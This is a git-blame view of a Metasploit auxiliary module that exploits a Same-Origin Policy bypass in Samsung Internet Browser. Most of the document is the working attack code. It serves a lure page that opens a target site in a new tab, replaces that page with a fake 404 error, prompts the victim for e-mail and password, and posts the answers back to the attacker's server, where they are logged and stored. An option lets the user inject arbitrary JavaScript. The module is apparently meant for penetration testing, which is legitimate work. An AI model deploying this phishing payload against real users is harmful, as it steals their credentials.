infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
metasploit-framework/modules/auxiliary/gather/samsung_browser_sop_bypass.rb

143 lines
4.2 KiB
Ruby
Raw Normal View History

Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
Update browser_sop_bypass.rb
2017-11-08 07:08:37 +00:00
'Name' => "Samsung Internet Browser SOP Bypass",
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
'Description' => %q(
Fixed up description to be descriptive
2017-12-08 18:24:58 +00:00
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the
Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.
Actually save creds, or fail through sanely This incidentally also allows for a custom collector to be implemented by the user -- for example, if they'd rather pick up a session ID or inject a browser hook or something along those lines. It's a little clunky, using the advanced option of CUSTOM_JS, but it seems to work fine.
2017-12-12 20:06:18 +00:00
By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather
credentials via a fake pop-up.
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
),
'License' => MSF_LICENSE,
'Author' => [
Update samsung_browser_sop_bypass.rb
2017-12-12 10:22:55 +00:00
'Dhiraj Mishra', # Original discovery, disclosure
'Tod Beardsley', # Metasploit module
'Jeffrey Martin' # Metasploit module
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
],
Update browser_sop_bypass.rb
2017-11-07 15:59:16 +00:00
'References' => [
Update browser_sop_bypass.rb
2017-11-07 15:43:06 +00:00
['URL', 'http://fr.0day.today/exploit/description/28434'],
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
],
Update browser_sop_bypass.rb
2017-11-08 07:08:37 +00:00
'DisclosureDate' => "Nov 08 2017",
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'
)
)
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
register_options([
OptString.new('TARGET_URL', [
true,
"The URL to spoof origin from.",
Update samsung_browser_sop_bypass.rb
2017-12-12 10:22:55 +00:00
'http://example.com/'
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
]),
OptString.new('CUSTOM_HTML', [
true,
"HTML to display to the victim.",
'This page has moved. Please <a href="#">click here</a> redirect your browser.'
]),
Actually save creds, or fail through sanely This incidentally also allows for a custom collector to be implemented by the user -- for example, if they'd rather pick up a session ID or inject a browser hook or something along those lines. It's a little clunky, using the advanced option of CUSTOM_JS, but it seems to work fine.
2017-12-12 20:06:18 +00:00
])
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
Actually save creds, or fail through sanely This incidentally also allows for a custom collector to be implemented by the user -- for example, if they'd rather pick up a session ID or inject a browser hook or something along those lines. It's a little clunky, using the advanced option of CUSTOM_JS, but it seems to work fine.
2017-12-12 20:06:18 +00:00
register_advanced_options([
OptString.new('CUSTOM_JS', [
false,
"Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.",
''
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
])
Actually save creds, or fail through sanely This incidentally also allows for a custom collector to be implemented by the user -- for example, if they'd rather pick up a session ID or inject a browser hook or something along those lines. It's a little clunky, using the advanced option of CUSTOM_JS, but it seems to work fine.
2017-12-12 20:06:18 +00:00
])
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
end
def run
exploit # start http server
end
Actually save creds, or fail through sanely This incidentally also allows for a custom collector to be implemented by the user -- for example, if they'd rather pick up a session ID or inject a browser hook or something along those lines. It's a little clunky, using the advanced option of CUSTOM_JS, but it seems to work fine.
2017-12-12 20:06:18 +00:00
def evil_javascript
if not datastore['CUSTOM_JS'].nil? and not datastore['CUSTOM_JS'].empty?
js = datastore['CUSTOM_JS']
else
js = <<-EOS
setTimeout(function(){
x.document.body.innerHTML='<h1>404 Error</h1>'+
'<p>Oops, something went wrong.</p>';
a=x.prompt('E-mail','');
b=x.prompt('Password','');
var cred=JSON.stringify({'user':a,'pass':b});
var xmlhttp = new XMLHttpRequest;
xmlhttp.open('POST', window.location, true);
xmlhttp.send(cred);
}, 3000);
EOS
end
return js
end
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
def setup
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
@html = <<-EOS
<html>
<meta charset="UTF-8">
<script>
function go(){
var x = window.open('#{datastore['TARGET_URL']}');
Actually save creds, or fail through sanely This incidentally also allows for a custom collector to be implemented by the user -- for example, if they'd rather pick up a session ID or inject a browser hook or something along those lines. It's a little clunky, using the advanced option of CUSTOM_JS, but it seems to work fine.
2017-12-12 20:06:18 +00:00
#{evil_javascript}
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
}
</script>
<body onclick="go()">
#{datastore['CUSTOM_HTML']}
</body></html>
EOS
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
end
Actually save creds, or fail through sanely This incidentally also allows for a custom collector to be implemented by the user -- for example, if they'd rather pick up a session ID or inject a browser hook or something along those lines. It's a little clunky, using the advanced option of CUSTOM_JS, but it seems to work fine.
2017-12-12 20:06:18 +00:00
def store_cred(username,password)
credential_data = {
origin_type: :import,
module_fullname: self.fullname,
filename: 'msfconsole',
workspace_id: myworkspace_id,
service_name: 'web_service',
realm_value: datastore['TARGET_URL'],
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
private_type: :password,
private_data: password,
username: username
}
create_credential(credential_data)
end
# This assumes the default schema is being used.
# If it's not that, it'll just display the collected POST data.
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
def collect_data(request)
Actually save creds, or fail through sanely This incidentally also allows for a custom collector to be implemented by the user -- for example, if they'd rather pick up a session ID or inject a browser hook or something along those lines. It's a little clunky, using the advanced option of CUSTOM_JS, but it seems to work fine.
2017-12-12 20:06:18 +00:00
cred = JSON.parse(request.body)
u = cred['user']
p = cred['pass']
if not u.nil? and not u.empty? and not p.nil? and not p.empty?
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
store_cred(u,p)
else
print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")
end
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
end
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
def on_request_uri(cli, request)
case request.method.downcase
when 'get' # initial connection
print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
send_response(cli, @html)
when 'post' # must have fallen for it
collect_data(request)
else
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
end
end
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
end